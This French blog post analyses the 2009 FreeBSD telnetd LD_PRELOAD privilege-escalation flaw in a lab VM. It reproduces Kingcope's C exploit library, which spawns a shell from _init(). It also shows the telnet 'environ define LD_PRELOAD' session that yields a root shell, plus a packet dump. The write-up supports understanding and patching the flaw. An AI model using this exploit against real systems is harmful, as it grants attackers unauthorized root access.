Le 16 février 2009, une vulnérabilité old school est tombée sur telnetd de FreeBSD [1]. L'inventeur de la faille (Kingcope) a émis l'hypothèse d'une exploitation possible en remote. Je vous propose d'étudier la faisabilité de l'idée.
Première chose, avoir un FreeBSD vulnérable [2]. Ça tombe bien, j'ai un 7.1-RELEASE qui traine dans une VM. On active tout d'abord le telnetd dans /etc/inetd.conf, et on démarre inetd. Mais qui ose encore activer telnetd, si ce n'est pour exploiter des vulnérabilités ou pour prouver que c'est un protocole clear-text ? Ben y'a quand même des gens (hint : scannez Internet).
Deuxième chose, pouvoir compiler du code exécutable par un FreeBSD/x86. J'ai ça aussi. L' exploit est on ne peut plus trivial :
// FreeBSD telnetd local/remote privilege escalation/code execution
// remote root only when accessible ftp or similar available
// tested on FreeBSD 7.0-RELEASE
// by Kingcope/2009
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
FILE *f;
setenv("LD_PRELOAD", "", 1);
system("echo GomoR was here;/bin/sh");
}
Je passe les détails sur comment compiler ce code, c'est expliqué dans le message de Kingcope. Par contre, une explication rapide sur le contenu. La fonction _init() est une fonction appelée par tous les binaires (au moins ceux au format ELF). Pour être exact, la fonction _init() est intégré dans la section .init du binaire à la compilation. Cette section contient des fonctions qui seront exécutées au démarrage du binaire. Voyez ci-dessus la sortie de la commande objdump attestant que le binaire telnetd possède une section .init :
% objdump -h /usr/libexec/telnetd |grep init 9 .init 00000011 08049cf0 08049cf0 00001cf0 2**2
Dans notre cas, la nouvelle fonction _init() va exécuter un shell. Maintenant, ça ne constitue pas une faille en soit, vous me direz. C'est là qu'intervient la variable d'environnement LD_PRELOAD. Cette variable permet de charger une nouvelle bibliothèque avant l'exécution d'un programme, pour "écraser" une fonction interne de ce programme. Notre exploit va ainsi remplacer la fonction _init() du binaire telnetd par la sienne, qui exécute un shell. Il va également supprimer cette variable d'environnement, sinon nous avons une jolie boucle infinie de chargement de la bibliothèque. Mais pour que ça marche, il faut aussi que le binaire "victime" soit compilé en dynamique :
% file /usr/libexec/telnetd /usr/libexec/telnetd: ELF 32-bit LSB executable, Intel 80386, version 1 (FreeBSD), for FreeBSD 7.1, dynamically linked (uses shared libs), FreeBSD-style, stripped
Parfait. Là encore, ça ne constitue pas une faille en soit. La vraie faille est que telnetd ne nettoie pas bien toutes ses variables d'environnement (fournies soit par le shell appelant, soit par le protocole telnet, nous y reviendrons). Les failles LD_PRELOAD, ça, c'est du old school.
Passons à la pratique, l'exploitation à proprement parlée. silenoz est l'attaquant, legion la victime :
silenoz ~ % telnet telnet> auth disable SRA telnet> environ define LD_PRELOAD /tmp/libno_ex.so.1.0 telnet> open legion Trying 192.168.1.10... Connected to legion.enslaved.lan. Escape character is '^]'. FreeBSD/i386 (legion.enslaved.lan) (ttypd) Connection closed by foreign host.
Exploit: FAIL. Pourquoi ça ? Et bien parce que notre méchante bibliothèque n'est présente qu'en local (sur silenoz), et non pas sur la machine legion. Uploadons la méchante bibliothèque sur la cible, et retentons :
silenoz ~ % telnet telnet> auth disable SRA telnet> environ define LD_PRELOAD /tmp/libno_ex.so.1.0 telnet> open legion Trying 192.168.1.10... Connected to legion.enslaved.lan. Escape character is '^]'. FreeBSD/i386 (legion.enslaved.lan) (ttypd) GomoR was here # id uid=0(root) gid=0(wheel) groups=0(wheel),5(operator) # hostname legion.enslaved.lan #
Voilà qui est mieux :) Et voyons le contenu du packet du protocole telnet qui place la variable d'environnement :
0040 ff fa 20 00 33 38 34 30 30 2c 33 38 34 30 .. .38 400,3840 0050 30 ff f0 ff fa 27 00 03 4c 44 5f 50 52 45 4c 4f 0....'.. LD_PRELO 0060 41 44 01 2f 74 6d 70 2f 6c 69 62 6e 6f 5f 65 78 AD./tmp/ libno_ex 0070 2e 73 6f 2e 31 2e 30 00 55 53 45 52 01 67 6f 6d .so.1.0. USER.gom 0080 6f 72 ff f0 ff fa 18 00 58 54 45 52 4d ff f0 or...... XTERM..
Une option du protocole telnet permet de placer des variables d'environnement à distance. Terriblement dangereux, mais terriblement utile. Qui parle de X display ? Qui a encore dit terriblement dangereux ? M'enfin bon, ça existe.
Pour conclure sur le sujet, la faille a été réintroduite avec FreeBSD 7.0-RELEASE. Régression. Ça arrive, même aux meilleurs. A moins qu'il n'existe déjà sur le système attaqué une bibliothèque possédant une fonction qui exécute une commande malicieuse (en gros, une fonction _init()), cette faille n'est pas exploitable en remote. Donc, very unlikely. Sauf si, bien sûr, vous pouvez uploader un fichier arbitraire sur la cible. Genre par un serveur Web avec un applicatif troué.
[1] "Full-disclosure FreeBSD zeroday" - http://www.derkeiler.com/Mailing-Lists/Full-Disclosure/2009-02/msg00181.html
[2] "telnetd code execution vulnerability" - http://security.freebsd.org/advisories/FreeBSD-SA-09:05.telnetd.asc